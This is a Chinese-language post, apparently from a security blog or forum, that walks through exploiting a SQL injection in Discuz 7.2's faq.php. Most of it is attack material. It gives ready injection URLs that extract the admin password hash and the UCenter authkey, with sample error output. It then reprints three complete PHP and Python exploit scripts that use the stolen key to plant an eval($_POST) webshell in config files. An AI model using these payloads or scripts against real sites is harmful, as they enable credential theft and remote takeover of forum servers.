discuz 7.2 faq.php sql注入的一點研究

6.2號（可能更早）看到網上這個exp，是一個discuz 7.2的sql注射漏洞

經過多番考證，網上多數exp中都存在這些或者那些的問題，我自己利用和修改後總結，利用方法如下：

 Discuz 7.2 /faq.php SQL注入漏洞


1.擷取資料庫版本資訊
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema 
.tables group by x)a)%23
 
2.擷取管理員賬戶密碼
 
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
要去掉最後的1


如：
http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x27,password)%20from%20cdb_members%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回：
Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key'
密文就是f426eaa50a5c805d360ca4046419c6ba


 
3.擷取key
 
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23


faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
這裡需要注意
由於authkey的長度限制，只能是62個長度單位，並且由於不能修改exp內容（修改後不能暴庫），所以採用兩次擷取的的方法，先擷取前62位，在擷取後2位


如
http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回：
Error: Duplicate entry '1:C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se' for key 'group_key'


http://XXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回：
Error: Duplicate entry '1:o6:' for key 'group_key'
最後的key就是"C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se"+"o6"=C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2seo6

獲得了hash和key之後本想參考那利用key getshell的辦法，但一看是x2 x2.5 x3的利用漏洞，一共有兩個版本的

PHP 版

<?php// 代碼著作權歸原作者所有！    $timestamp = time()+10*3600;    $host="127.0.0.1";    $uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item></root>';    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">http://aaa</item></root>';    $html1 = send($cmd1);    echo $html1;    $html2 = send($cmd2);    echo $html2; function send($cmd){    global $host,$code;    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";    $message .= "Accept: */*\r\n";    $message .= "Referer: ".$host."\r\n";    $message .= "Accept-Language: zh-cn\r\n";    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";    $message .= "Host: ".$host."\r\n";    $message .= "Content-Length: ".strlen($cmd)."\r\n";    $message .= "Connection: Close\r\n\r\n";    $message .= $cmd; //var_dump($message);    $fp = fsockopen($host, 80);    fputs($fp, $message);     $resp = '';     while ($fp && !feof($fp))        $resp .= fread($fp, 1024);     return $resp;} function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {    $ckey_length = 4;     $key = md5($key ? $key : UC_KEY);    $keya = md5(substr($key, 0, 16));    $keyb = md5(substr($key, 16, 16));    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';     $cryptkey = $keya.md5($keya.$keyc);    $key_length = strlen($cryptkey);     $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;    $string_length = strlen($string);     $result = '';    $box = range(0, 255);     $rndkey = array();    for($i = 0; $i <= 255; $i++) {        $rndkey[$i] = ord($cryptkey[$i % $key_length]);    }     for($j = $i = 0; $i < 256; $i++) {        $j = ($j + $box[$i] + $rndkey[$i]) % 256;        $tmp = $box[$i];        $box[$i] = $box[$j];        $box[$j] = $tmp;    }     for($a = $j = $i = 0; $i < $string_length; $i++) {        $a = ($a + 1) % 256;        $j = ($j + $box[$a]) % 256;        $tmp = $box[$a];        $box[$a] = $box[$j];        $box[$j] = $tmp;        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));    }     if($operation == 'DECODE') {        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {            return substr($result, 26);        } else {                return '';            }    } else {        return $keyc.str_replace('=', '', base64_encode($result));    } }?>

一個paython版

#! /usr/bin/env python#coding=utf-8import hashlibimport timeimport mathimport base64import urllibimport urllib2import sys def microtime(get_as_float = False) :    if get_as_float:        return time.time()    else:        return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''):    ckey_length = 4    key = hashlib.md5(key).hexdigest()    keya = hashlib.md5(key[0:16]).hexdigest()    keyb = hashlib.md5(key[16:32]).hexdigest()    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()     key_length = len(cryptkey)    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string    string_length = len(string)    result = ''    box = range(0, 256)    rndkey = dict()    for i in range(0,256):        rndkey[i] = ord(cryptkey[i % key_length])    j=0    for i in range(0,256):        j = (j + box[i] + rndkey[i]) % 256        tmp = box[i]        box[i] = box[j]        box[j] = tmp    a=0    j=0    for i in range(0,string_length):        a = (a + 1) % 256        j = (j + box[a]) % 256        tmp = box[a]        box[a] = box[j]        box[j] = tmp        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))    return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host):    '''    發送命令擷取webshell    '''    headers={'Accept-Language':'zh-cn',    'Content-Type':'application/x-www-form-urlencoded',    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',    'Referer':url    }    tm = time.time()+10*3600    tm="time=%d&action=updateapps" %tm    code = urllib.quote(get_authcode(tm,key))    url=url+"?code="+code    data1='''<?xml version="1.0" encoding="ISO-8859-1"?>            <root>            <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>            </root>'''    try:        req=urllib2.Request(url,data=data1,headers=headers)        ret=urllib2.urlopen(req)    except:        return "訪問出錯"    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>            <root>            <item id="UC_API">http://aaa</item>            </root>'''    try:        req=urllib2.Request(url,data=data2,headers=headers)        ret=urllib2.urlopen(req)    except:        return "error"    return "webshell:"+host+"/config/config_ucenter.php,password:1" if __name__ == '__main__':    host=sys.argv[1]    key=sys.argv[2]    url=host+"/api/uc.php"    print get_shell(url,key,host)

使用方法：

python uckey.py http://www.localhost.com/ uckey

但是發現好像不能通殺7.2，getshell並沒有成功，不知道為什麼，還請大家多指教。

最後附上“小馬”的exp，但效果也不理想，大致遠離同上，但是貌似也不能getshell

<?php /** * @author: xiaoma * @blog  : www.i0day.com * @date  : 2014.7.2 23:1 */ error_reporting(0);set_time_limit(3000);$host=$argv[1];$path=$argv[2];$js=$argv[3];$timestamp = time()+10*3600;$table="cdb_";//表名 if ($argc < 2) {    print_r('  ********************************************************  *  Discuz faq.php SQL Injection Exp                    *  *  ---------By：Www.i0day.com-----------               *  *     Usage: php '.$argv[0].' url 1                    *  *  -------------------------------------               *  *  js選項: 1.GetShell 2.取密碼 3.查表首碼              *  *                                                      *  *   php '.$argv[0].' Www.i0day.com / 1                    *  *   php '.$argv[0].' Www.i0day.com /dz72/ 1               *  *                                                      *  *                                                      *  ********************************************************     ');     exit;}if($js==1){    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";    $resp = sendpack($host,$path,$sql);     if(strpos($resp,"::")==-1){        echo '表首碼可能不是預設cdb_ 請先查看錶首碼！';    }else{    preg_match("/::(.*)::/",$resp,$matches);    $lenght=intval($matches[1]);    if($lenght){        if($lenght<=124){            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";            $resp = sendpack($host,$path,$sql);            if(strpos($resp,"1\^")!=-1){                preg_match("/1\^(.*)\'/U",$resp,$key1);            $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";            $resp = sendpack($host,$path,$sql);            preg_match("/1\^(.*)\'/U",$resp,$key2);            $key=$key1[1].$key2[1];            $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));            $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item></root>';            $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">bbs.49you.com</item></root>';            $html1 = send($cmd1);            $res1=substr($html1,-1);            $html2 = send($cmd2);            $res2=substr($html1,-1);            if($res1=='1'&&$res2=='1'){            echo "shell地址：http://".$host.$path.'config.inc.php   pass:i0day';            }            }else{                echo '擷取失敗';            }        }    }   }         }elseif($js==2){    $sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";    $resp = sendpack($host,$path,$sql);    if(strpos($resp,"\^\^\^")!=-1){        preg_match("/\^\^\^(.*)\^/U",$resp,$password);        echo '密碼：'.$password[1];        }else{            echo '表首碼可能不是預設cdb_ 請先查看錶首碼！';        }}elseif($js==3){    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";    $resp = sendpack($host,$path,$sql);    if(strpos($resp,"1\^")!=-1){        preg_match("/1\^(.*)\^/U",$resp,$t);         if(strpos($t[1],"cdb_")!=-1){            echo "表名為：".hex2str($t[1])." 表首碼為預設cdb_ 無需修改";        }else{            echo "表名：".hex2str($t[1]).' 不是預設表名cdb_請自行修改代碼中的$table';        }    }else{        echo "查看錶首碼失敗,Sorry";    }}else{    echo "未選擇指令碼功能";} function sendpack($host,$path,$sql,$js){       $data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";        $data.="Host:".$host."\r\n";        $data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";        $data.="Connection: close\r\n\r\n";        //$data.=$html."\r\n";        $ock=fsockopen($host,80);         if(!$ock){        echo "No response from ".$host;        die();         }        fwrite($ock,$data);         $resp = '';         while (!feof($ock)) {                 $resp.=fread($ock, 1024);                }         return $resp; }function send($cmd){    global $host,$code,$path;    $message = "POST ".$path."/api/uc.php?code=".$code."  HTTP/1.1\r\n";    $message .= "Accept: */*\r\n";    $message .= "Referer: ".$host."\r\n";    $message .= "Accept-Language: zh-cn\r\n";    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";    $message .= "Host: ".$host."\r\n";    $message .= "Content-Length: ".strlen($cmd)."\r\n";    $message .= "Connection: Close\r\n\r\n";    $message .= $cmd;     //var_dump($message);    $fp = fsockopen($host, 80);    fputs($fp, $message);     $resp = '';     while ($fp && !feof($fp))        $resp .= fread($fp, 1024);     return $resp;} function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {    $ckey_length = 4;     $key = md5($key ? $key : UC_KEY);    $keya = md5(substr($key, 0, 16));    $keyb = md5(substr($key, 16, 16));    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';     $cryptkey = $keya.md5($keya.$keyc);    $key_length = strlen($cryptkey);     $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;    $string_length = strlen($string);     $result = '';    $box = range(0, 255);     $rndkey = array();    for($i = 0; $i <= 255; $i++) {        $rndkey[$i] = ord($cryptkey[$i % $key_length]);    }     for($j = $i = 0; $i < 256; $i++) {        $j = ($j + $box[$i] + $rndkey[$i]) % 256;        $tmp = $box[$i];        $box[$i] = $box[$j];        $box[$j] = $tmp;    }     for($a = $j = $i = 0; $i < $string_length; $i++) {        $a = ($a + 1) % 256;        $j = ($j + $box[$a]) % 256;        $tmp = $box[$a];        $box[$a] = $box[$j];        $box[$j] = $tmp;        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));    }     if($operation == 'DECODE') {        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {            return substr($result, 26);        } else {                return '';            }    } else {        return $keyc.str_replace('=', '', base64_encode($result));    } }function hex2str($hex){    $str = '';    $arr = str_split($hex, 2);    foreach($arr as $bit){        $str .= chr(hexdec($bit));    }    return $str;    }?>